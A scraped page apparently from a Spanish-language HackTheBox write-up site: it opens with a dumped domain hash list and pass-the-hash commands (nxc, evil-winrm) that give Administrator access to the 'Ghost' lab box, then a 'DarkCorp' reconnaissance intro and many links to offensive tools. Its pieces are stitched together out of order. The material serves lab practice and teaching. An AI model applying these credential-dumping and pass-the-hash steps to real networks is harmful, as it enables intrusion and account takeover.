    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0cdb6ae71c3824f2da2815f69485e128:::
    kathryn.holland:3602:aad3b435b51404eeaad3b435b51404ee:0adf6114ba230ef8f023eca3c0d1af50:::
    cassandra.shelton:3603:aad3b435b51404eeaad3b435b51404ee:96d2251e44e42816314c08b8e1f11b87:::
    robert.steeves:3604:aad3b435b51404eeaad3b435b51404ee:7e2e1e1163ff3fa9304ecd8df6f726fe:::
    florence.ramirez:3606:aad3b435b51404eeaad3b435b51404ee:29542931896c7e7a9fbca17b0dd8ab6a:::
    justin.bradley:3607:aad3b435b51404eeaad3b435b51404ee:a2be8ec65d6b212138cb36422ed32f46:::
    arthur.boyd:3608:aad3b435b51404eeaad3b435b51404ee:b5b7f0787f3c07f42958d33518ae19a5:::
    beth.clark:3610:aad3b435b51404eeaad3b435b51404ee:1582f51fcd02e2e5316d497f2552bb83:::
    charles.gray:3611:aad3b435b51404eeaad3b435b51404ee:d2fe7f2c7484fc550cac49836eabca3d:::
    jason.taylor:3612:aad3b435b51404eeaad3b435b51404ee:0159e6bd4326812f9a6c406ea84035e6:::
    intranet_principal:3614:aad3b435b51404eeaad3b435b51404ee:e9fac15124e1d927cbd71f851792b04f:::
    gitea_temp_principal:3615:aad3b435b51404eeaad3b435b51404ee:2058fa4502750fa5d7ebd874b1ea43a1:::
    DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e6c3d61860f92e30e8e9744ac5d9783b:::
    LINUX-DEV-WS01$:3630:aad3b435b51404eeaad3b435b51404ee:be14220f3b71b34a61d2d516d595555c:::
    adfs_gmsa$:4101:aad3b435b51404eeaad3b435b51404ee:0bef79ae4d25b1864570212e33922d14:::
    GHOST-CORP$:2101:aad3b435b51404eeaad3b435b51404ee:be0a51897087a382ca0726b2403e6b00:::
    [*] Cleaning up...
    ❯ nxc winrm 10.10.11.24 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
    WINRM       10.10.11.24     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
    WINRM       10.10.11.24     5985   DC01             [+] ghost.htb\Administrator:1cdb17d5c14ff69e7067cffcc9e470bd (Pwn3d!)
    
    ❯ evil-winrm -i 10.10.11.24 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
                                            
    Evil-WinRM shell v3.7
                                            
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
    9aa9bfa2************************

    Sockets de datagramas (UDP): Utilizados para comunicación sin conexión y más rápida, aunque menos fiable.

    Active Directory Enumeration via MSSQL InjectionAn Utsusemi of Keramaschevron-right
    Logo

    DarkCorp


    hashtag
    Reconnaissance

    Para la fase de reconocimiento inicial de la máquina DarkCorp utilizamos nuestra herramienta personalizada iReconarrow-up-right. Esta herramienta automatiza un escaneo Nmap completo que incluye:

    1. Detección de puertos TCP abiertos (-p- --open).

    2. Escaneo de versiones (-sV).

    3. Ejecución de scripts NSE típicos para enumeración adicional (-sC).

    4. Exportación del resultado en XML y conversión a HTML para facilitar su lectura.

    Para empezar, exportaremos en una variable de entorno llamada IP la dirección IP de la máquina objetivo, lanzaremos la herramienta de iRecon proporcionándole la variable de entorno.

    Resumen de Puertos Abiertos

    En la enumeración de puertos encontramos importantes como los siguientes:

    Puerto
    Servicio

    En un principio, la máquina DarkCorp es un Windows Server, probablemente un Domain Controller. Revisando los puertos abiertos que hemos logrado enumerar, comprobamos que solamente dispone del servicio SSH (Puerto 22) y una página web HTTP (Puerto 80).

    Probablemente los puertos del Domain Controller sean internos, revisaremos a continuación que es lo que sucede.

    ⚠️ This box is still active on HackTheBox. Once retired, this article will be published for public access as per .

    If you need a hint or want to discuss anything related to the box, feel free to reach out to me on Discord.

    22

    SSH

    80

    HTTP

    HackTheBox’s policy on publishing content from their platformarrow-up-right
    Bypassing WAFs with JSON Unicode Escape Sequences - TrustFoundryTrustFoundrychevron-right
    ❯ iRecon 10.10.11.54
    https://pastebin.com/C5cfbv19pastebin.comchevron-right
    GitHub - Keramas/mssqli-duet: SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcingGitHubchevron-right
    GitHub - taviso/cefdebug: Minimal code to connect to a CEF debugger.GitHubchevron-right
    Logo
    GitHub - dnSpy/dnSpy: .NET debugger and assembly editorGitHubchevron-right
    Windows Privilege Escalation: Server Operator GroupHacking Articleschevron-right
    GitHub - ShutdownRepo/targetedKerberoast: Kerberoast with ACL abuse capabilitiesGitHubchevron-right
    nishang/Shells/Invoke-PowerShellTcp.ps1 at master · samratashok/nishangGitHubchevron-right
    GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of SecuraGitHubchevron-right
    Logo
    Logo
    Logo
    Logo
    Logo
    Logo
    https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.pygist.githubusercontent.comchevron-right
    AuthenticationKnowledge Basechevron-right
    Logo
    Output Messenger API Guide: Auth, Users, Chat & Notificationssupport.outputmessenger.comchevron-right
    Logo
    LAN Messenger Downloadsoutputmessengerchevron-right
    Logo
    Chat RoomsKnowledge Basechevron-right
    Logo
    Active Directory - Access Controls ACL/ACE - Internal All The Thingsswisskyrepo.github.iochevron-right
    GitHub - zcgonvh/EfsPotato: Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).GitHubchevron-right
    Logo
    GitHub - mandiant/ADFSpoofGitHubchevron-right
    Logo
    https://adminions.ca/books/abusing-active-directory-certificate-services/page/esc4adminions.cachevron-right
    Overview - Ghost Developer DocsGhost Developer Docschevron-right
    Active Directory - Federation Services - Internal All The Thingsswisskyrepo.github.iochevron-right
    Logo
    Logo
    Logo
    Logo